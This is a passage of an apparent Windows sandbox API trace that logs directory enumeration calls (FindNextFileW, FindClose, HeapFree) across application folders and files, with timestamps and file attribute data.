lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0108.168] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.168] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0108.168] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.168] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0108.168] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.168] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0108.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.176] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0108.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.177] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0108.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.177] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0108.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.177] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0108.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.181] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0108.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.181] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0108.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.181] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0108.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.181] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0108.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.183] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0108.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.183] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0108.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.184] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0108.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.184] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0108.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.186] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0108.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.186] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0108.186] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.187] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0108.187] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.187] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0108.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.189] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0108.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.190] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0108.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.190] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0108.190] FindClose (in: hFindFile=0x4290200 | out: hFindFile=0x4290200) returned 1 [0108.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0108.190] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0108.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.191] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0108.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0108.194] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0109.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.030] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0109.030] FindClose (in: hFindFile=0x4290080 | out: hFindFile=0x4290080) returned 1 [0109.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.031] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0109.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.035] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0109.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.038] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0109.097] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.097] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0109.097] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.097] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0109.097] FindClose (in: hFindFile=0x4290340 | out: hFindFile=0x4290340) returned 1 [0109.097] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.097] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0109.099] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.099] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0109.099] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0109.100] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.100] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0109.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.101] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0109.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.101] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0109.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4353238 | out: hHeap=0x5c0000) returned 1 [0109.235] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0109.236] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.236] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, 